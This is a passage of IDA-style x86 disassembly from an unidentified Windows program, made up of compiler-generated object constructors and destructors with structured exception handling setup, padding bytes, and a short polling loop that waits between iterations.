call sub_40208B
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_40208B
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_40208B
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_40208B
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_40208B
mov byte ptr [esp+14h+var_4], 37h
lea ecx, [esi+0E51h]
call sub_401023
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401023
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401023
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401023
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401023
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401023
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401023
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401023
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401023
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401023
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401023
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401023
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401023
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401023
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401023
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401023
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401023
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_401AE6
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_401AE6
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_401AE6
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_401AE6
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_401AE6
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_401AE6
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_401AE6
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_401AE6
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_401AE6
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_401AE6
mov byte ptr [esp+14h+var_4], 1Ch
lea ecx, [esi+84Eh]
call sub_401AE6
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_401AE6
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_401AE6
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_401AE6
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_401AE6
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_401AE6
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_401AE6
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_401AE6
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_401AE6
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_401AE6
lea ecx, [esi+574h]
mov byte ptr [esp+14h+var_4], 12h
call sub_401AE6
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_401AE6
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_401AE6
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_401AE6
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_401AE6
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_401AE6
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_401AE6
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_401AE6
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_401AE6
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_401AE6
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_401AE6
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_401AE6
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_401AE6
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_401AE6
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_401AE6
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_401AE6
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_401AE6
mov byte ptr [esp+14h+var_4], 1
lea ecx, [esi+9Bh]
call sub_401AE6
lea ecx, [esi+52h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AE6
lea ecx, [esi+9]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AE6
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417120 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417640 proc near ; CODE XREF: sub_4014FBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417640
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0A3h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417640 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4176E0 proc near ; CODE XREF: sub_401EA1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4176E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+118h]
mov [esp+14h+var_4], 5
call sub_401023
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4176E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4177B0 proc near ; CODE XREF: sub_401235j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4177B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8D0C0h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+8D036h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+8D008h]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4177B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417870 proc near ; CODE XREF: sub_402239j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417870
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417870 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417930 proc near ; CODE XREF: sub_401ECEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417930
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417930 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4179F0 proc near ; CODE XREF: sub_4018D9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4179F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4179F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A60 proc near ; CODE XREF: sub_4017DAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417A60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417A60 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417AD0 proc near ; CODE XREF: sub_401B3Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417AD0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417AD0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B40 proc near ; CODE XREF: sub_401F46j
add ecx, 4
jmp sub_401023
sub_417B40 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B60 proc near ; CODE XREF: sub_401113j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417B60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+60h]
mov [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417B60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417BE0 proc near ; CODE XREF: sub_401E06j
add ecx, 4
jmp sub_401023
sub_417BE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C00 proc near ; CODE XREF: sub_402013j
add ecx, 4
jmp sub_401023
sub_417C00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C20 proc near ; CODE XREF: sub_401F00j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417C20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0BCh]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417C20 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417CC0 proc near ; CODE XREF: sub_401587j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0A3h]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F078
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417CC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417D60 proc near ; CODE XREF: sub_40164Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417D60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
lea ecx, [esi+118h]
mov byte ptr [esp+14h+var_4], 5
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F07C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417D60 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E30 proc near ; CODE XREF: sub_401780j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417E30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+8D008h]
call sub_401753
lea ecx, [esi+8D036h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+8D0C0h]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F080
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417E30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417EF0 proc near ; CODE XREF: sub_40182Fj
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F050
mov eax, esi
pop esi
retn
sub_417EF0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F20 proc near ; CODE XREF: sub_4016BDj
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F05C
mov eax, esi
pop esi
retn
sub_417F20 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F50 proc near ; CODE XREF: sub_40141Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417F50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F084
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417F50 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418010 proc near ; CODE XREF: sub_401302j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418010
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F088
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418010 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4180D0 proc near ; CODE XREF: sub_401271j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4180D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F08C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4180D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418150 proc near ; CODE XREF: sub_401D25j
push esi
mov esi, ecx
call sub_4011B3
mov dword ptr [esi], offset off_43F090
mov eax, esi
pop esi
retn
sub_418150 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418180 proc near ; CODE XREF: sub_4012FDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418180
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F094
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418180 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418200 proc near ; CODE XREF: sub_401A91j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418200
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F098
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418200 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418280 proc near ; CODE XREF: sub_401285j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F09C
mov eax, esi
pop esi
retn
sub_418280 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4182B0 proc near ; CODE XREF: sub_401CB7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4182B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0A0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4182B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418330 proc near ; CODE XREF: sub_40157Dj
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F0A4
mov eax, esi
pop esi
retn
sub_418330 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418360 proc near ; CODE XREF: sub_401799j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F0A8
mov eax, esi
pop esi
retn
sub_418360 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418390 proc near ; CODE XREF: sub_401073j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418390
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0AC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418390 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418430 proc near ; CODE XREF: sub_401267j
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
push ebx
push ebp
mov ebp, dword_5118D8
push esi
mov esi, ecx
push edi
xor bl, bl
mov byte ptr [esi+9FD2Ch], 1
loc_418448: ; CODE XREF: sub_418430+E4j
test bl, bl
jnz loc_41851E
mov al, [esi+8EF74h]
test al, al
jnz short loc_41845E
mov bl, 1
jmp short loc_418472
; ---------------------------------------------------------------------------
loc_41845E: ; CODE XREF: sub_418430+28j
lea ecx, [esi+15Fh]
call sub_40186B
test al, al
setz bl
test bl, bl
jz short loc_418479
loc_418472: ; CODE XREF: sub_418430+2Cj
mov byte ptr [esi+9FD2Ch], 0
loc_418479: ; CODE XREF: sub_418430+40j
lea ecx, [esp+1Ch+var_C]
call sub_4020A4
lea edi, [esi+9FD83h]
lea eax, [esp+1Ch+var_4]
push eax
mov ecx, edi
call sub_401F69
mov ecx, [eax]
lea edx, [esp+1Ch+var_8]
mov [esp+1Ch+var_C], ecx
push edx
mov ecx, edi
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_401703
test al, al
jz short loc_4184FE
loc_4184B4: ; CODE XREF: sub_418430+CCj
lea ecx, [esp+1Ch+var_C]
call sub_402234
mov ecx, [eax]
call sub_40174E
lea ecx, [esp+1Ch+var_C]
call sub_402234
mov eax, [eax]
test eax, eax
jz short loc_4184DB
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx]
loc_4184DB: ; CODE XREF: sub_418430+A1j
lea ecx, [esp+1Ch+var_C]
call sub_401361
lea eax, [esp+1Ch+var_8]
mov ecx, edi
push eax
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_401703
test al, al
jnz short loc_4184B4
loc_4184FE: ; CODE XREF: sub_418430+82j
mov ecx, edi
call sub_4010B9
push 0FAh
call ebp
mov al, [esi+9FD2Ch]
test al, al
jnz loc_418448
test bl, bl
jz short loc_41852B
loc_41851E: ; CODE XREF: sub_418430+1Aj
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_41852B: ; CODE XREF: sub_418430+ECj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0Ch
retn
sub_418430 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418590 proc near ; CODE XREF: sub_401771j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_418590
push eax
mov large fs:0, esp
sub esp, 1A8h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, offset byte_4E8EAB
mov byte ptr [esi+9FD2Ch], 1
call sub_4010B9
mov eax, [esp+1C4h+arg_4]
test eax, eax
jz short loc_4185D0
push eax
jmp short loc_4185D5
; ---------------------------------------------------------------------------
loc_4185D0: ; CODE XREF: sub_418590+3Bj
push offset byte_448F40
loc_4185D5: ; CODE XREF: sub_418590+3Ej
lea ecx, [esi+9FD57h]
call sub_4015E1
